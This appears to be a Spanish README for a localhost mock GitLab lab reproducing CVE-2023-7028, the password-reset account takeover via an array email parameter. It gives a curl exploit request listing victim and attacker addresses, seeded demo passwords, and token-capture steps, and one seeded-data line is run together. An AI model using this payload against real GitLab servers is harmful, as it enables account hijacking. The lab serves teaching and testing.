
Instancia simulada de GitLab vulnerable que reproduce el secuestro de restablecimiento de contraseña CVE-2023-7028. Demuestra la explotación del parámetro de correo electrónico basado en arrays y la toma de control de cuentas. Solo para uso educativo en laboratorio.
CVE-2023-7028 (CVSS 10.0): POST /users/password aceptaba el array user[email][] — el servidor encontraba al usuario por email[0] pero enviaba el mismo token de restablecimiento a todas las direcciones → un atacante con [email protected] secuestra [email protected].
Afectados: GitLab CE/EE <16.5.6, <16.6.4, <16.7.2. Este mock reproduce el flujo vulnerable de la 16.6.0 (base de datos JSON, sin SMTP).
npm install && npm start → http://127.0.0.1:3000 (o PORT=3001 npm start; reintentos automáticos si está ocupado; solo localhost).
Datos precargados: [email protected]/s3cur3P@ss!, , en .
[email protected]/BobSecure1![email protected]/5iveL!fedata/users.jsoncurl -X POST http://127.0.0.1:3000/users/password -d "user[email][][email protected]&user[email][][email protected]"
Comprueba http://127.0.0.1:3000/mailbox o /api/emails — ambos reciben el mismo token. Abre .../users/password/edit?reset_password_token=TOKEN para tomar el control.
Normal: user[email][email protected] → un correo. El buzón muestra todos los correos; nada sale del host.
MIT — solo laboratorio, no exponer.